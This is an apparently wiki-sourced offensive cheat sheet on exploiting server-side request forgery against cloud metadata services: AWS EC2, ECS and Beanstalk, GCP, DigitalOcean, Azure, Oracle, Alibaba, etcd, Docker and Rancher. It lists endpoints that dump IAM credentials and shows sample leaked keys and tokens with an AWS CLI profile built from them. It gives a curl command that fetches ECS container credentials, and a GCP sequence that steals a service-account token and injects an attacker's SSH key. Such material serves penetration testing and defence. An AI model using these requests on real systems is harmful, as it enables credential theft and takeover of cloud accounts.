243 lines
12 KiB
Markdown
243 lines
12 KiB
Markdown
# Cloud SSRF
|
|
|
|
## AWS
|
|
|
|
### Abusing SSRF in AWS EC2 environment
|
|
|
|
#### 169.254.169.254 - Metadata Address
|
|
|
|
**Metadata** of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
|
|
|
The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use `Metadata-Flavor: Google` as an HTTP header and refusing requests with an `X-Forwarded-For` header. **AWS has no constraints**.
|
|
|
|
Sending a GET requests to the following endpoint will **dump a list of roles** that are attached to the current EC2 instance:
|
|
|
|
```
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
|
```
|
|
|
|
If you want to access your S3 bucket you would normally hard-code your API keys into your application. Hard-coding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.
|
|
|
|
Once you get a list of roles attached to the EC2 instance you can **dump their credentials** by making a GET requests to the following URL:
|
|
|
|
```
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME_HERE>
|
|
```
|
|
|
|
As an example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
|
|
|
The response should look something like this:
|
|
|
|
```
|
|
{
|
|
"Code" : "Success",
|
|
"LastUpdated" : "2019-08-03T20:42:03Z",
|
|
"Type" : "AWS-HMAC",
|
|
"AccessKeyId" : "ASIA5A6IYGGDLBWIFH5UQ",
|
|
"SecretAccessKey" : "sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR",
|
|
"Token" : "AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=",
|
|
"Expiration" : "2019-08-04T03:16:50Z"
|
|
}
|
|
```
|
|
|
|
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do. If the role has improper permissions set (Most likely) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.
|
|
|
|
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
|
|
|
|
```
|
|
[profilename]
|
|
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
|
|
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
|
|
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
|
```
|
|
|
|
Notice the **aws\_session\_token**, this is indispensable for the profile to work.\
|
|
Information taken from: [http://ghostlulz.com/ssrf-aws-credentials/](http://ghostlulz.com/ssrf-aws-credentials/) (read that post for further information).\
|
|
Another possible interesting place where you can find credentials is in[ http://169.254.169.254/user-data](http://169.254.169.254/user-data)
|
|
|
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges
|
|
|
|
### SSRF in AWS ECS (Container Service) credentials
|
|
|
|
**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
|
|
|
|
If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \_\<GUID>**\_ . To find the \<GUID> you need to read the **environ** variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** inside the machine.\
|
|
You could be able to read it exploiting an **Path Traversal** to _file:///proc/self/environ_\
|
|
\_\_The mentioned http address should give you the **AccessKey, SecretKey and token**.
|
|
|
|
```bash
|
|
curl "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
|
```
|
|
|
|
### SSRF URL for AWS Elastic Beanstalk <a href="#6f97" id="6f97"></a>
|
|
|
|
We retrieve the `accountId` and `region` from the API.
|
|
|
|
```
|
|
http://169.254.169.254/latest/dynamic/instance-identity/document
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
|
```
|
|
|
|
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
|
|
|
|
```
|
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
|
```
|
|
|
|
 
|
|
|
|
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
|
|
|
|
## GCP <a href="#6440" id="6440"></a>
|
|
|
|
### SSRF URL for Google Cloud <a href="#6440" id="6440"></a>
|
|
|
|
Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True”
|
|
|
|
```
|
|
http://169.254.169.254/computeMetadata/v1/
|
|
http://metadata.google.internal/computeMetadata/v1/
|
|
http://metadata/computeMetadata/v1/
|
|
http://metadata.google.internal/computeMetadata/v1/instance/hostname
|
|
http://metadata.google.internal/computeMetadata/v1/instance/id
|
|
http://metadata.google.internal/computeMetadata/v1/project/project-id
|
|
```
|
|
|
|
Google allows recursive pulls
|
|
|
|
```
|
|
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
|
|
```
|
|
|
|
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
|
|
|
|
```
|
|
http://metadata.google.internal/computeMetadata/v1beta1/
|
|
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
|
|
```
|
|
|
|
Interesting files to pull out:
|
|
|
|
* SSH Public Key : [`http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`](http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json)
|
|
* Get Access Token : [`http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`](http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token)
|
|
* Kubernetes Key : [`http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`](http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json)
|
|
|
|
### Add an SSH key <a href="#3e24" id="3e24"></a>
|
|
|
|
Extract the token
|
|
|
|
```
|
|
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
|
```
|
|
|
|
Check the scope of the token
|
|
|
|
```
|
|
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
|
"issued_to": "101302079XXXXX",
|
|
"audience": "10130207XXXXX",
|
|
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
|
|
"expires_in": 2443,
|
|
"access_type": "offline"
|
|
}
|
|
```
|
|
|
|
Now push the SSH key.
|
|
|
|
```
|
|
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
|
|
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
|
|
-H "Content-Type: application/json"
|
|
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
|
|
```
|
|
|
|
## Digital Ocean <a href="#9f1f" id="9f1f"></a>
|
|
|
|
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
|
|
|
|
```
|
|
curl http://169.254.169.254/metadata/v1/id
|
|
http://169.254.169.254/metadata/v1.json
|
|
http://169.254.169.254/metadata/v1/
|
|
http://169.254.169.254/metadata/v1/id
|
|
http://169.254.169.254/metadata/v1/user-data
|
|
http://169.254.169.254/metadata/v1/hostname
|
|
http://169.254.169.254/metadata/v1/region
|
|
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
|
|
curl http://169.254.169.254/metadata/v1.json | jq
|
|
```
|
|
|
|
## Packetcloud <a href="#2af0" id="2af0"></a>
|
|
|
|
Documentation available at [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
|
|
|
|
## Azure <a href="#cea8" id="cea8"></a>
|
|
|
|
Limited, maybe more exists? [`https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`](https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/)
|
|
|
|
[http://169.254.169.254/metadata/v1/maintenance](http://169.254.169.254/metadata/v1/maintenance)
|
|
|
|
Update Apr 2017, Azure has more support; requires the header “Metadata: true” [`https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service)
|
|
|
|
```
|
|
http://169.254.169.254/metadata/instance?api-version=2017-04-02
|
|
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
|
|
```
|
|
|
|
## OpenStack/RackSpace <a href="#2ffc" id="2ffc"></a>
|
|
|
|
(header required? unknown)
|
|
|
|
```
|
|
http://169.254.169.254/openstack
|
|
```
|
|
|
|
## HP Helion <a href="#a8e0" id="a8e0"></a>
|
|
|
|
(header required? unknown)
|
|
|
|
```
|
|
http://169.254.169.254/2009-04-04/meta-data/
|
|
```
|
|
|
|
## Oracle Cloud <a href="#a723" id="a723"></a>
|
|
|
|
```
|
|
http://192.0.0.192/latest/
|
|
http://192.0.0.192/latest/user-data/
|
|
http://192.0.0.192/latest/meta-data/
|
|
http://192.0.0.192/latest/attributes/
|
|
```
|
|
|
|
## Alibaba <a href="#51bd" id="51bd"></a>
|
|
|
|
```
|
|
http://100.100.100.200/latest/meta-data/
|
|
http://100.100.100.200/latest/meta-data/instance-id
|
|
http://100.100.100.200/latest/meta-data/image-id
|
|
```
|
|
|
|
## Kubernetes ETCD <a href="#c80a" id="c80a"></a>
|
|
|
|
Can contain API keys and internal ip and ports
|
|
|
|
```
|
|
curl -L http://127.0.0.1:2379/version
|
|
curl http://127.0.0.1:2379/v2/keys/?recursive=true
|
|
```
|
|
|
|
## Docker <a href="#ac0b" id="ac0b"></a>
|
|
|
|
```
|
|
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
|
|
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
|
|
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
|
|
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
|
|
```
|
|
|
|
## Rancher <a href="#8cb7" id="8cb7"></a>
|
|
|
|
```
|
|
curl http://rancher-metadata/<version>/<path>
|
|
```
|